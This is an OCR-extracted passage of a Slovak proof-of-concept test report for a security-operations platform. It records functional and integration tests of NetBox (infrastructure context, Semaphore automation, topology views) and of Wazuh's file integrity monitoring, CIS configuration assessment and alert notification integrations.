modelované.

6. Posudilo sa, Ci zobrazené vazby poskytuju zmysluplny a pouZitelny kontext pre
orientaciu v prostredi..

Ocakavany vysledok: OZakavanym vysledkom je, Zze NetBox umozni zobrazit a vyuzivat
zakladné vazby medzi evidovanymi objektmi a poskytne orientaény prehlad o technickom
kontexte infrastruktury. Zaroven sa oCakava, Ze tieto vazby budu pouzitelné pri praci s
infradtrukturnym kontextom v ramci PoC.

Skutoény vysledok: OcCakavanym vysledkom je, Zze NetBox umozni zobrazit a vyuzivat
zakladné vazby medzi evidovanymi objektmi a poskytne orientaény prehlad o technickom
kontexte infrastruktury. Zaroven sa oCakava, Ze tieto vazby budu pouzitelné pri praci s
infradtrukturnym kontextom v ramci PoC.

Vyhodnotenie testu: Spinené.

Na zaklade vykonaného overenia mozno konstatovat, Ze NetBox v prostredi PoC
umozfiuje zakladnu orientaciu v infrastrukturnom kontexte a poskytuje pouzitelné vazby medzi
evidovanymi objektmi. Test potvrdil, Ze systém je vhodny nielen na evidenciu, ale aj na
zakladné modelovanie vztahov relevantnych pre technicku interpretaciu prostredia..

Zistenia a poznamky

Test TS-NB-03 overoval len vztahy, ktoré boli v ramci PoC realne modelované a
naplnené udajmi. Vysledok preto potvrdzuje funkénost prace s vazbami v rozsahu
experimentalneho rieSenia, nie Uplnost modelovania celej infrastruktary. Zaroven sa ukazalo,
Ze prave tato schopnost NetBoxu je dolezita pre jeho vyuzitie ako kontextového nastroja v
SirSej architekture PoC.

Zaver

Test preukazal, Ze NetBox v prostredi PoC poskytuje pouzitefné vztahy medzi
evidovanymi objektmi a podporuje orientaciu v infrastruktiurnom kontexte. Tym bola potvrdena
jeho vhodnost ako podporného nastroja pre dalSie vyuzitie pri praci s kontextovymi udajmi v
navrhovanom rieseni.

9.4 TS-NB-04 Overenie vyuzitia NetBoxu ako zdroja kontextu pre
PoC

Identifikator testu: TS-NB-04

Nazov testu: Overenie vyuZitia NetBoxu ako zdroja kontextu pre PoC

Typ testu: Funkény test
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Ugel testu: Overit, & je mozné NetBox v prostredi PoC vyuzit ako zdroj infratruktirneho
kontextu pri praci s technickymi zisteniami alebo bezpecnostnymi udalostami.

Predmet overenia: Predmetom testu je overenie praktickej pouzitelnosti udajov evidovanych
v NetBoxe pri dohfadavani kontextu k zariadeniu, IP adrese, adresnému priestoru alebo
sietovému segmentu. Test bol zamerany na to, ¢i NetBox poskytuje udaje, ktoré pomahaju
lepSie pochopit technické pozadie analyzovaného objektu alebo udalosti. Zaroven sa
overovalo, i je takyto spdsob vyuZitia realne pouZzitelny v ramci PoC, aj ked eSte nemusi byt
plne automatizovany.

Vychodiskovy stav: NetBox je nasadeny a obsahuje zakladné evidencné udaje o vybranych
objektoch infrastruktury. V prostredi PoC existuje technické zistenie alebo bezpecnostna
udalost, ku ktorej je mozné priradit konkrétnu IP adresu, zariadenie alebo Cast’ infrastruktury.
Pouzivatel ma pristup do NetBoxu a méze vyhladavat relevantné objekty.

Postup testu:

1. Vybral sa konkrétny technicky objekt alebo udaj suvisiaci s udalostou, napriklad IP
adresa, zariadenie alebo sietovy segment.

2. V systéme NetBox sa vyhladal zodpovedajuci objekt.

3. Overila sa dostupnost zakladnych udajov o objekte, napriklad lokalita, zariadenie,
prefix, rozhranie alebo suvisiace vazby.

4. Posudilo sa, Ci ziskané udaje poskytuju pouzitefny infrastrukturny kontext pre
interpretaciu analyzovaného stavu.

5. Overilo sa, &i je tento postup mozné realizovat spolahlivo v ramci PoC.

Ocakavany vysledok: O¢akavanym vysledkom je, Zze NetBox poskytne pouzitelné doplriujuce
informéacie o vybranom objekte infrastruktury a umozni lepSie pochopit technicky kontext
analyzovaného zistenia alebo udalosti. Zaroven sa oakava, ze systém bude v tomto rozsahu
vyuzitefny ako podporny zdroj udajov pre PoC rieSenie.

Skutoény vysledok: NetBox poskytol zakladné udaje o vybranych objektoch infrastruktury,
najma o zariadeniach, adresnych rozsahoch a suvisiacich vazbach. Tieto udaje bolo mozné
vyuzit pri dohladani technického kontextu a pri orientacii v analyzovanom prostredi. V ramci
testu sa potvrdilo, Zze NetBox je pouzitefny ako podporny zdroj kontextu, priCom toto vyuzitie
bolo v danej etape realizované najma manualne alebo len €iastocne podporenym spésobom.

Vyhodnotenie testu: Ciastoéne splnené.

Na zaklade vykonaného overenia mozno konstatovat, Zze NetBox v prostredi PoC plini
ulohu pouzitelného zdroja infrastrukturneho kontextu. Test potvrdil jeho prakticki hodnotu pri
dohladavani udajov o objektoch a ich vztahoch. Zarover sa vSak ukazalo, Ze tento sposob
vyuzitia eSte nie je plne automatizovany a jeho vyuzitie je zatial limitované rozsahom
implementovanych integracnych vazieb.

Zistenia a poznamky

Test TS-NB-04 potvrdil, Ze NetBox je v PoC pouzitefny ako podporny nastroj pri
interpretacii technickych udajov a zisteni. Jeho prinos spoCiva najma v schopnosti doplinit
infradtrukturny pohfad na analyzovany objekt. Obmedzenim ostava skutoCnost, Ze vyuZitie
NetBoxu v tomto scenari eSte neprebieha ako plne automatizovany enrichment tok, ale
prevazne ako manualne alebo €iasto€ne podporené dohladanie kontextu.
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Zaver

Test preukazal, Zze NetBox je v prostredi PoC pouzitelny ako zdroj infrastrukturneho kontextu.
Tym bola potvrdena jeho prakticka hodnota v navrhovanom rieSeni, aj ked jeho plny integracny
potencial ostava predmetom dalSieho rozvoja.

9.5 TS-NB-05 Overenie automatizovanej integracie NetBoxu
s Ansible Semaphore

Identifikator testu: TS-NB-05
Nazov testu: Overenie automatizovanej integracie NetBoxu so Semaphore
Typ testu: Integracny test

Ugel testu: Overit, &i je mozné NetBox v prostredi PoC vyuzit ako zdroj udajov pre
automatizatné ulohy realizované prostrednictvom Semaphore a &i je takato integracia
pouzitelna pri praci so sietovymi zariadeniami.

Predmet overenia: Predmetom testu je overenie funk&ného prepojenia medzi NetBoxom a
nastrojom Semaphore pri ziskavani udajov o evidovanych zariadeniach a ich naslednom
vyuziti v automatizanom procese. Test bol zamerany na to, ¢i je mozné udaje o zariadeniach
vedenych v NetBoxe vyuZzit ako vstup pre spustenie automatizacnej ulohy a €i je mozné
prostrednictvom Semaphore realizovat ziskanie konfiguracie zo zariadeni. Zaroven sa
overovalo, &i takyto postup vytvara pouzitelny zaklad pre dalSiu automatizaciu spravy
infrastruktury v ramci PoC.

Vychodiskovy stav: NetBox je nasadeny a obsahuje evidované sietové zariadenia
relevantné pre PoC. V prostredi je nasadeny a dostupny nastroj Semaphore, ktory sluzi ako
rozhranie pre spustanie Ansible uUloh. Su pripravené prihlasovacie Udaje, automatizacny
projekt a playbook uréeny na ziskanie konfiguracie zo zariadeni.

Postup testu:

1. Overila sa dostupnost NetBoxu a korektnost evidovanych udajov o vybranych
zariadeniach.

2. Overila sa dostupnost a pripravenost prostredia Semaphore pre spustenie
automatizacnej ulohy.

3. Vramciintegraéného scenara sa pouzili udaje o zariadeniach z NetBoxu ako vstup pre
automatizacny proces.

4. V Semaphore sa spustil pripraveny playbook uréeny na komunikaciu so zariadeniami.

5. Overilo sa, &i sa zo zariadeni podarilo uspesne ziskat ich konfiguraciu.

6. Posudilo sa, i ziskané vystupy zodpovedaju oCakavanému vysledku a i je integracny
scenar pouzitelny v ramci PoC.

Ocakavany vysledok: OCakavanym vysledkom je, Ze udaje o zariadeniach evidovanych v
NetBoxe bude mozné vyuzit pri automatizatnom scenari spustanom cez Semaphore a ze
vysledkom bude uspesné ziskanie konfiguracie z vybranych zariadeni. Zaroven sa oCakava
potvrdenie pouzitelnosti NetBoxu ako zdroja udajov pre automatizané procesy spravy
infrastruktury.
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Skutoény vysledok: V ramci testu bolo overené, Ze NetBox je pouzitelny ako zdroj udajov o
zariadeniach pre automatizany scenar realizovany prostrednictvom Semaphore. Na zaklade
evidovanych udajov bolo mozné spustit’ pripraveny playbook a uspesne ziskat konfiguraciu z
vybranych zariadeni. Integracia tak potvrdila praktickid pouzitelnost NetBoxu pri
automatizovanej praci so sietovou infrastruktarou v rozsahu PoC.

Vyhodnotenie testu: Spinené

Na zaklade vykonaného overenia mozno konStatovat, Ze integracia NetBoxu so
Semaphore bola v ramci PoC uUspesSne preukazana. Test potvrdil, Ze Udaje evidované v
NetBoxe je mozné vyuzZit ako vstup do automatizaénych uloh a Ze tento pristup je pouzitefny
pri ziskavani konfiguracie zo zariadeni.

Zistenia a poznamky

Test TS-NB-05 potvrdil prakticku hodnotu NetBoxu nielen ako evidenéného nastroja,
ale aj ako zdroja udajov pre automatizaciu. Overeny scenar bol zamerany na ziskanie
konfiguracie zo zariadeni, teda na konkrétny a technicky relevantny use-case. Obmedzenim
zostava, ze v ramci PoC neboli rozpracované vsetky mozné automatizatné scenare a
integracia bola overena na obmedzenom rozsahu uloh.

Zaver

Test preukazal, Ze NetBox je v prostredi PoC pouzitefny ako zdroj udajov pre
automatizatné procesy realizované prostrednictvom Semaphore. Tym bola potvrdena jeho
prakticka vyuzitelnost pri automatizovanej sprave infrastrukturnych zariadeni a vytvoreny
zaklad pre dalsie roz8irenie integracnych scenarov.

9.6 TS-NB-06 Overenie vyuzitia NetBoxu pri obohateni udalosti o
infrastrukturny kontext

Identifikator testu: TS-NB-06
Nazov testu: Overenie vyuZitia NetBoxu pri obohateni udalosti o infrastruktarny kontext
Typ testu: Integracny test

Ugel testu: Overit, & je mozné NetBox v prostredi PoC vyuzit ako zdroj infratruktirneho
kontextu pri analyze technickej alebo bezpeénostnej udalosti a &i takto ziskané udaje
pomahaju pri jej interpretacii.

Predmet overenia: Predmetom testu je overenie, Ci je mozné na zaklade vybraného
identifikatora udalosti, najma IP adresy, zariadenia alebo sietového segmentu, dohladat v
NetBoxe relevantné infrastrukturne udaje. Test bol zamerany na to, Ci systém poskytuje
pouzitelné informacie o aktive, jeho umiestneni, adresacii alebo vazbach na dalSie objekty a
¢i tieto informacie rozsiruju technicky kontext analyzovanej udalosti. Zarover sa overovalo, €i
je takyto postup pouzitefny v ramci PoC aj bez pine automatizovaného integraéného toku.
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Vychodiskovy stav: NetBox je nasadeny a obsahuje zakladné evidencné udaje o vybranych
objektoch infrastruktury. V prostredi PoC je dostupna technicka alebo bezpecnostna udalost,
ku ktorej je mozné priradit konkrétnu IP adresu, zariadenie alebo Cast’ siete. Pouzivatel ma
pristup k NetBoxu a méze vyhladavat prislusné evidované objekty.

Postup testu:

1. Vybrala sa konkrétna udalost alebo technické zistenie obsahujuce identifikator
relevantny pre infrastrukturny kontext.

2. Na zaklade IP adresy, zariadenia alebo segmentu siete sa v NetBoxe vyhladal
prislusny objekt.

3. Overila sa dostupnost zakladnych udajov o objekte, najma lokalita, zariadenie, adresny
priestor alebo suvisiace vazby.

4. Posudilo sa, ¢i ziskané udaje rozsiruju technicky kontext analyzovanej udalosti.

5. Vyhodnotilo sa, €i je takyto spdsob prace pouzitelny pre potreby PoC rieSenia.

Ocakavany vysledok: OcCakavanym vysledkom je, zZze NetBox poskytne doplfujuce
infratrukturne informacie o objekte suvisiacom s analyzovanou udalostou a umozni lepSie
pochopit’ jeho technicky kontext. Zaroven sa oCakava, Ze ziskané udaje budu pouzitelné pri
dalSej interpretacii zistenia alebo pri rozhodovani o daldom postupe.

Skutoény vysledok: V ramci testu bolo mozné v NetBoxe dohladat’ zakladné udaje k objektu
suvisiacemu s analyzovanou udalostou. Ziskané informacie poskytli doplfujuci pohlad na
zariadenie, adresaciu alebo logické zaradenie objektu v infrastrukture. Potvrdilo sa, ze NetBox
je mozné v PoC vyuzit ako zdroj kontextovych udajov, pricom toto vyuzitie bolo realizované
najma manualne alebo CiastoCne podporenym spdsobom.

Vyhodnotenie testu: Ciasto¢ne splnené.

Na zaklade vykonaného overenia mozno konstatovat, Ze NetBox je v prostredi PoC
pouzitelny na obohatenie udalosti o infrastruktirny kontext. Test potvrdil prakticki hodnotu
evidovanych udajov pri interpretacii technickych alebo bezpecnostnych zisteni. Zaroven sa
v8ak ukazalo, Ze tento proces eSte nie je sufastou plne automatizovaného enrichment
mechanizmu a jeho vyuzitie je zatial obmedzené na manualnu alebo Ciastocne podporenu
pracu.

Zistenia a poznamky

Test TS-NB-06 potvrdil, Ze NetBox ma v PoC vyznam ako podporny zdroj kontextu,
ktory dopina informacie ziskané z ostatnych &asti rieSenia. Jeho prinos spo&iva najma v
schopnosti prepajat’ technické zistenia s udajmi o aktivach, adresacii a Strukture prostredia.
Obmedzenim ostava, Ze vyuzitie NetBoxu pri enrichment scenaroch nebolo v tejto etape pine
automatizované a zaviselo od rozsahu naplnenych udajov a pripravenych vazieb.

Zaver

Test preukazal, ze NetBox je v prostredi PoC pouzitelny pri obohateni udalosti o
infratrukturny kontext. Tym bola potvrdena jeho prakticka hodnota v navrhovanom rieSeni, aj
ked jeho plné zapojenie do automatizovanych integraénych tokov ostava predmetom dalSieho
skumania a testovania.
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9.7 TS-NB-07 Overenie vyuzitia topologického zobrazenia NetBoxu pri analyze
infrastrukturneho kontextu

Al

Identifikator testu: TS-NB-07

Nazov testu: Overenie vyuzitia topologického zobrazenia NetBoxu pri analyze
infradtruktirneho kontextu

Typ testu: Integracny test

Ugel testu: Overit, &i je mozné v prostredi PoC vyuzit plugin NetBox Topology Views na
zobrazenie vazieb medzi vybranymi prvkami infrastruktury a ¢i takéto zobrazenie pomaha pri
orientacii v technickom kontexte rieSenia.

Predmet overenia: Predmetom testu je overenie funk&nosti topologického zobrazenia nad
udajmi evidovanymi v NetBoxe. Test bol zamerany na to, i plugin NetBox Topology Views
dokaze na zaklade evidovanych objektov zobrazit ich vzajomné vazby, a Ci je takto ziskany
pohlad pouzitelny pri analyze infrastruktarneho kontextu v ramci PoC. Zaroven sa overovalo,
Ci je topologické zobrazenie vyuzitelné ako podporny nastroj pri orientacii v prostredi a pri
interpretacii suvislosti medzi zariadeniami.

Vychodiskovy stav: NetBox je nasadeny a obsahuje evidované objekty infrastruktury vratane
zariadeni a ich zakladnych vazieb. Plugin NetBox Topology Views je nainstalovany, aktivovany
a dostupny v pouZivatefskom rozhrani systému. V evidencii su pripravené udaje, na ktorych je
mozné overit zobrazenie topoldgie.

Postup testu:

Overila sa dostupnost’ pluginu NetBox Topology Views v pouzivatelskom rozhrani.
Vybrali sa evidované zariadenia alebo objekty vhodné pre topologické zobrazenie.
Spustilo sa zobrazenie topoldgie nad vybranymi objektmi.

Overilo sa, Ci plugin korektne zobrazuje vztahy medzi zariadeniami alebo dalSimi
relevantnymi objektmi.

PON~

5. Posudila sa prehladnost a pouZzitefnost takto zobrazenych vazieb pri orientacii v
infrastrukture.

6. Vyhodnotilo sa, Ci je topologické zobrazenie pouzitelné ako podporny nastroj pre PoC
rieSenie.

Ocakavany vysledok: O¢akavanym vysledkom je, Ze plugin NetBox Topology Views bude
dostupny a umozni zobrazit topologické vazby medzi vybranymi objektmi evidovanymi v
NetBoxe. Zaroveh sa oCakava, Ze takéto zobrazenie poskytne pouzitelny pohlad na technické
suvislosti v infrastruktiare a podpori orientaciu v prostredi PoC.

Skutocény vysledok: Plugin NetBox Topology Views bol v prostredi PoC dostupny a funkény.
Na zaklade evidovanych udajov bolo mozné zobrazit' topologické vazby medzi vybranymi
prvkami infrastruktury. Zobrazenie poskytlo doplfiujuci pohfad na suvislosti medzi zariadeniami
a podporilo orientaciu v technickom kontexte prostredia. V rozsahu pripravenych udajov sa
potvrdilo, Ze topologické zobrazenie je pouzitelné ako podporny nastroj pri praci s
infradtrukturnym kontextom.
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Vyhodnotenie testu: Spinené.

Na zaklade vykonaného overenia mozno konstatovat, Ze plugin NetBox Topology Views bol v
prostredi PoC uUspeSne pouzity na vizualizaciu vazieb medzi evidovanymi objektmi. Test
potvrdil, Ze topologické zobrazenie rozSiruje prakticku vyuZitefnost NetBoxu a zlepSuje
orientaciu v infrastruktirnom kontexte rieSenia.

Zistenia a poznamky

Test TS-NB-07 potvrdil, Ze topologické zobrazenie ma v PoC vyznam najma ako
podporny vizualizaény nastroj. Jeho prinos spociva v lepSej prehladnosti vztahov medzi
objektmi a v jednoduchS$ej orientacii pri analyze prostredia. Obmedzenim ostava, ze kvalita a
uplnost zobrazenia priamo zavisi od rozsahu a presnosti udajov evidovanych v NetBoxe.

Zaver
Test preukazal, ze plugin NetBox Topology Views je v prostredi PoC funkény a

pouzitelny pri analyze infrastruktirneho kontextu. Tym bola potvrdena jeho vhodnost ako
doplnkovej suc€asti NetBoxu v navrhovanom rieSeni.

9.8 Zhodnotenie testov
Test Overovana oblast’  Typ testu Vysledok Stav

. . . sluzba bola uspesne .
TS-NB-01 Nasadenie sluzby Funkény test nasadena splnené
TS-NB-02 Webové rozhranie Funkény test dostupné a funkéné splnené
. . . . zakladné objekty .
TS-NB-03 Evidencia objektov Funkcny test vytvorené splnené
NR. . . pouzitefny najma - . .
TS-NB-04 Kontext pre PoC Funkény test manualne Ciasto¢ne splnené
TS-NB-05 Autom’at_lzovana Integracny test funkené splnené
integracia
Obohatenie udalosti pouzitelné najma
TS-NB-06 o infrastrukturny Integraény test manualne alebo Ciasto¢ne splnené
kontext Ciasto¢ne podporene
Topologické pouzitelné najma
TS-NB-07 zograzgnie vazieb Integracny test manualne alebo splnené
Ciastone podporene
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10 Overenie monitorovacich modulov Wazuh — FIM, SCA a
notifikacie

Testovanie komponentu Wazuh bolo zamerané na overenie funk&nosti troch klu€ovych
bezpecnostnych modulov v realnych prevadzkovych podmienkach vratane multitenantného
prostredia s dvoma tenantmi prepojenymi cez VPN tunel. Testy boli rozdelené podfa funkénych
oblasti: (1) monitorovanie integrity suborov (FIM) — detekcia zmien na suborovom systéme
vratane rozSireného who-data monitorovania, (2) hodnotenie bezpecnostnej konfiguracie
(SCA) — automatizované vyhodnotenie konfiguracie voci CIS benchmarkom s overenim
spatnej vazby po remediacii a (3) konfiguracia notifikacnych vazieb do MS Teams. Testovanie
v ramci V16 bolo zamerané na overenie zakladnej funkénosti nasadenych modulov — detailné
overovanie detekénych pravidiel, korelacnych scenarov a simulacia utokov su predmetom
samostatného vystupu.

10.1 TS-WZ-01 Overenie monitorovania integrity suborov (File
Integrity Monitoring)

Identifikator testu: TS-WZ-01
Nazov testu: Overenie monitorovania integrity suborov (File Integrity Monitoring)
Typ testu: Funkcny test

Ugel testu: Overit, & modul File Integrity Monitoring (FIM) v systéme Wazuh korektne
deteguje zmeny na suborovom systéme monitorovanych endpointov — konkrétne vytvorenie
nového suboru, modifikaciu existujuceho suboru a vymazanie suboru. Zaroven overit, i su
detegované udalosti spravne vizualizované v centralnom dashboarde a ¢&i poskytuju
dostato¢né informacie pre bezpe€nostnu analyzu.

Predmet overenia: Predmetom testu je overenie funkénosti modulu FIM po jeho aktivacii na
Wazuh agentoch nasadenych v prostredi PoC. Test bol zamerany na to, €i agent spravne
vytvara baseline kontrolnych suctov monitorovanych suborov, i pri zmene deteguje odchylku
a odosle Strukturovany alert na Wazuh Manager, a i je tento alert dostupny a spravne
zobrazeny vo Wazuh Dashboarde v sekcii File Integrity Monitoring — Events. Overovala sa aj
funkCnost' real-time monitorovania a rozSireného rezimu who-data, ktory prostrednictvom
Linux Audit subsystému zachytava informaciu o pouzivatelovi a procese, ktory zmenu vykonal.

Vychodiskovy stav: FIM modul bol aktivovany na Wazuh agentoch v oboch tenantoch.
Konfiguracia na strane agenta definuje monitorované adresare (predvolene /etc, /usr/bin,
lusr/sbin, /bin, /sbin a dalSie kritické systémové cesty). Pre potreby testu bola konfiguracia
rozSirena o testovaci adresar s aktivovanym rezimom real-time a atributom who-data. Agent
pri inicializacii vytvoril databazu kontrolnych suctov (checksums) a atribatov monitorovanych
suborov, ktora sluzi ako referenény baseline. Wazuh Manager, Indexer a Dashboard boli v
prevadzke a dostupné na IP 192.168.1.184. Agenty zo ZS komunikovali prostrednictvom
Wireguard VPN tunela.
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Postup testu:

1 Overila sa aktivna konfiguracia FIM modulu na vybranom agentovi vratane zoznamu
monitorovanych adresarov, rezimu real-time a nastavenia who-data.

2 Na monitorovanom endpointe (Linux, Ubuntu) sa v monitorovanom adresari vytvoril
novy testovaci subor.

3 Vo Wazuh Dashboarde v sekcii File Integrity Monitoring — Events sa overilo, Ci sa
objavil alert typu ,New file added" s plnou cestou k suboru, ¢asom vytvorenia,
checksumom (SHA-256), velkostou, vlastnikom a skupinou.

4 Na rovnakom endpointe sa vykonala modifikacia existujuceho konfiguracného suboru
— pridanie testovacieho zaznamu.

5 Overilo sa, ze dashboard zobrazil alert typu ,Modified" s porovnanim pdévodného a
nového checksumu a s rozSirenymi who-data informaciami (pouzivatel, PID procesu,
¢as modifikacie).

6 Testovaci subor sa vymazal a overilo sa, Zze FIM modul vygeneroval alert typu
,Deleted" s informaciou o vymazanom subore a asom vymazania.

7 Cely postup sa zopakoval na agentovi nasadenom v prostredi ZS pripojeného cez VPN
na overenie funkénosti v multitenantnom rezime.

Ocakavany vysledok: OCakavanym vysledkom je, Ze modul FIM korektne deteguje vSetky tri
typy suborovych udalosti (vytvorenie, modifikacia, vymazanie), vygeneruje Strukturované
alerty s dostatoénymi metadatami a tieto alerty budu dostupné a spravne vizualizované vo
Wazuh Dashboarde. V reZime real-time sa oakava latencia detekcie v radoch sekund. Who-
data monitoring ma poskytnut rozSirené forenzné informacie. Funkénost ma byt porovnatelna
na agentoch oboch tenantov vratane agenta pripojeného cez VPN.

Skutoény vysledok: Modul FIM vo vSetkych troch fazach korektne detegoval prislusny typ
suborovej udalosti. Alert typu ,New file added" obsahoval kompletnu cestu, checksum SHA-
256, velkost, vlastnika a skupinu. Alert typu ,Modified" zobrazil porovnanie pdévodného a
nového checksumu a vdaka who-data monitorovaniu obsahoval identifikaciu pouzivatela a
procesu, ktory zmenu vykonal. Alert typu ,Deleted" obsahoval informaciu o vymazanom subore
a Cas vymazania. Real-time detekcia preukazala latenciu v radoch sekund od vykonania
operacie na endpointe. Funkcnost' bola overena na agentoch oboch tenantov — data z agenta
ZS pripojeného cez VPN tunel Wireguard prudili bez strat a s porovnatelnou latenciou.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konsStatovat, ze modul File Integrity
Monitoring v systéme Wazuh je v prostredi PoC plne funkény. Test potvrdil, Ze FIM modul
spolahlivo deteguje zmeny na suborovom systéme monitorovanych endpointov v realnom
Case, poskytuje Strukturované alerty s dostatoCnymi metadatami pre bezpeénostnu analyzu a
forenzné spracovanie, a funguje spolahlivo aj v multitenantnom rezime cez VPN pripojenie.

Zistenia a poznamky: Test TS-WZ-01 bol zamerany na overenie zakladnej funk&nosti
modulu FIM vratane vSetkych troch typov suborovych udalosti. Who-data monitoring
prostrednictvom Linux Audit subsystému vyrazne rozSiruje forenzny kontext detegovanych
udalosti, ¢o je kfuCové pre spatnu dohladatelnost a preukazanie zodpovednosti. Funkénost
na agentovi ZS pripojeného cez VPN potvrdzuje, Ze multitenantna architektira PoC umoziiuje
vzdialené monitorovanie aj v sietovo oddelenych prostrediach. Test vytvoril predpoklad pre
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overovanie pokrocilych scenarov FIM, napriklad detekcie zmien v neStandardnych adresaroch
alebo monitorovania velkych objemov suborov.

Zaver: Test preukazal, ze modul File Integrity Monitoring v systéme Wazuh je v prostredi PoC
funk&ny a pripraveny na vyuzitie v ramci SOCaasS sluzby pre detekciu neopravnenych zmien
na suborovom systéme monitorovanych endpointov vratane vzdialene pripojenych tenantov.

10.2 TS-WZ-02 Overenie hodnotenia bezpeénostnej konfiguracie
(Security Configuration Assessment)

Identifikator testu: TS-WZ-02

Nazov testu: Overenie hodnotenia bezpecnostnej konfiguracie (Security Configuration
Assessment)

Typ testu: Funkcny test

Ugel testu: Overit, & modul Security Configuration Assessment (SCA) v systéme Wazuh
automatizovane vyhodnocuje konfiguraciu monitorovanych endpointov voci bezpecnostnym
politikam zaloZzenym na CIS benchmarkoch. Zaroven overit, ¢i dashboard poskytuje prehladnu
vizualizaciu vysledkov vratane detailu jednotlivych kontrol, remediaCnych odporucani a
compliance mapovani, a Ci sa po vykonani napravnych opatreni vysledky automaticky
aktualizuju.

Predmet overenia: Predmetom testu je overenie schopnosti modulu SCA vyhodnotit
konfiguraciu endpointu voci Standardizovanym bezpecnostnym politikam a poskytnut
analytikovi vysledky v podobe celkového skore suladu, zoznamu uspesSnych a neuspesnych
kontrol a konkrétnych odporucani na napravu. Overovala sa aj spatna vazba — teda ¢i po
aplikovani remediacie a nasledujuicom skene systém spravne reflektuje zmenu stavu
prislusnej kontroly a aktualizuje celkové skore.

Vychodiskovy stav: SCA modul bol aktivovany na Wazuh agentoch. Na agentoch boli
nasadené predvolené CIS politiky zodpovedajiuce operacnému systému — konkrétne CIS
Debian Linux 11 Benchmark. Politiky vo formate YAML definuju kontrolné body, z ktorych
kazdy obsahuje identifikator, popis, rationale, remediation a mapovanie na compliance ramce
(CIS, MITRE ATT&CK, PCI DSS, HIPAA, NIST SP 800-53). Wazuh Dashboard bol dostupny
a funkény. Monitorované endpointy neboli pred testom cielene hardenované podla CIS
benchmarku.

Postup testu:

1 Overila sa aktivacia SCA modulu na vybranom agentovi a pritomnost CIS politiky
zodpovedajucej operacnému systému.

2 Po restarte agenta sa pockalo na automaticky sken konfiguracie endpointu.

3 Vo Wazuh Dashboarde v sekcii Configuration Assessment sa overilo zobrazenie
celkového skore suladu (Score) v percentach.

4 Overil sa pocet kontrol v stavoch Passed, Failed a Not applicable.
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5 Pre vybrané neuspesné kontroly sa overil detail vratane popisu poZiadavky, cielového
komponentu, vysledku vyhodnotenia, remediacného odporucania a compliance
mapovani.

6 Na endpointe sa vykonala cielena zmena konfiguracie podla remediacnych krokov
uvedenych v dashboarde pre jednu konkrétnu neuspesnu kontrolu.

7 Po nasledujucom SCA skene sa overilo, Ze povodne neuspesna kontrola sa zmenila
na stav Passed a celkové skore sa primerane zvysilo.

Ocakavany vysledok: Ocakavanym vysledkom je, Zze SCA modul vykona automatizovany
sken konfiguracie endpointu voci CIS politike a vysledky budu dostupné v dashboarde.
Dashboard ma zobrazovat celkové skore suladu, rozdelenie kontrol podla stavov a pre kazdu
kontrolu detail vratane remediacie. Po vykonani napravného opatrenia a nasledujucom skene
sa oCakava zmena stavu prislusnej kontroly na Passed a primerany narast celkového skore.

Skutoény vysledok: SCA modul po aktivacii a reStarte agenta vykonal automaticky sken
konfiguracie endpointu voci CIS Debian Linux 11 Benchmark. Dashboard zobrazil celkové
skoére suladu v percentach, pricom na Cerstvo nasadenom systéme bez cieleného hardeningu
skore indikovalo priestor na zlepSenie, ¢o zodpoveda realnemu stavu. Boli zobrazené kontroly
v stavoch Passed, Failed a Not applicable. Pre neuspesné kontroly bol dostupny detail vratane
konkrétneho remediacného odporucania a mapovania na compliance ramce. Po vykonani
cielenej zmeny konfiguracie podla remediaCnych krokov a nasledujucom SCA skene sa
prislusna kontrola zmenila na stav Passed a celkové skére sa primerane zvySilo. Dashboard
reflektoval aktualny stav bez nutnosti manualneho zasahu.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, Ze modul SCA v systéme Wazuh je v
prostredi PoC plne funkény. Test potvrdil schopnost automatizovane vyhodnocovat
konfiguraciu endpointov voci Standardizovanym bezpecnostnym politikam, poskytovat
prehladné vysledky s remediaCnymi odporu¢aniami a spravne reflektovat zmeny konfiguracie
po aplikovani napravnych opatreni.

Zistenia a poznamky: Test TS-WZ-02 bol zamerany na overenie zakladnej funkénosti modulu
SCA vratane cyklu sken — analyza — remediacia — overenie. Vysledné skore na Cerstvo
nasadenom systéme bez cieleného hardeningu je o€akavané a odraza realny stav — nejde o
nedostatok systému Wazuh, ale o stav konfiguracie monitorovaného endpointu. Compliance
mapovanie kontrol na ramce CIS, MITRE ATT&CK, PCI DSS, HIPAA a NIST SP 800-53
vytvara zaklad pre reporting a preukazanie suladu v ramci SOCaaS sluzby. Test potvrdil
predpoklad pre iterativne zlepSovanie bezpeénostného stavu zariadeni zakaznikov na zaklade
automatizovanych odporuéani.

Zaver: Test preukazal, Ze modul Security Configuration Assessment v systéme Wazuh je v
prostredi PoC funkény a pripraveny na vyuzitie ako zaklad pre priebezné hodnotenie
bezpe€nostnej konfiguracie monitorovanych endpointov a generovanie remedia¢nych
odporucani v ramci SOCaasS platformy INNOSOC.
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10.3 TS-WZ-03 Overenie integraénych vazieb Wazuh na notifikaéné
a incidentové systémy

Identifikator testu: TS-WZ-03
Nazov testu: Overenie integracnych vazieb Wazuh na notifikaéné a incidentové systémy
Typ testu: Integracny test

Ugel testu: Overit funkénost integradnych vézieb komponentu Wazuh na externé systémy —
zasielanie notifikacii do MS Teams prostrednictvom Incoming Webhook vo formate Adaptive
Cards a automatizované vytvaranie incidentov v DFIR-IRIS prostrednictvom orchestratného
nastroja Shuffle. Zaroven overit, Ze integracny retazec Wazuh — Shuffle — DFIR-IRIS funguje
end-to-end vratane obohacovacieho workflow a Ze pri opakovanom vyskyte suvisiacich alertov
systém aktualizuje existujuci incident namiesto vytvarania duplicit.

Predmet overenia: Predmetom testu je overenie, €i bezpeénostné udalosti detegované
systétmom Wazuh su korektne doruené analytikom prostrednictvom dvoch integracnych
kanalov. Pre MS Teams sa overovalo, €i notifikacia vo forme Adaptive Card obsahuje klucové
informacie o incidente a &i filtrovanie podla zavaznosti funguje spravne. Pre DFIR-IRIS sa
overovalo, ¢i Shuffle workflow spravne zachyti alert, obohati ho o kontextové udaje a vytvori v
DFIR-IRIS incidentny pripad s kompletnymi udajmi prevzatymi z povodného alertu. Overovala
sa aj aktualizacia existujuceho incidentu pri opakovanom vyskyte suvisiaceho alertu.

Vychodiskovy stav: Integracia s MS Teams bola nakonfigurovana v module Integrations v
konfiguracii Wazuh Managera. Notifikacie sa odosielaju na Incoming Webhook endpoint a
transformuju do formatu JSON, ktory sa v Teams zobrazuje ako Adaptive Card. Konfigurované
je filtrovanie — notifikacie sa odosielaju len pre alerty nad definovanym prahom zavaznosti.
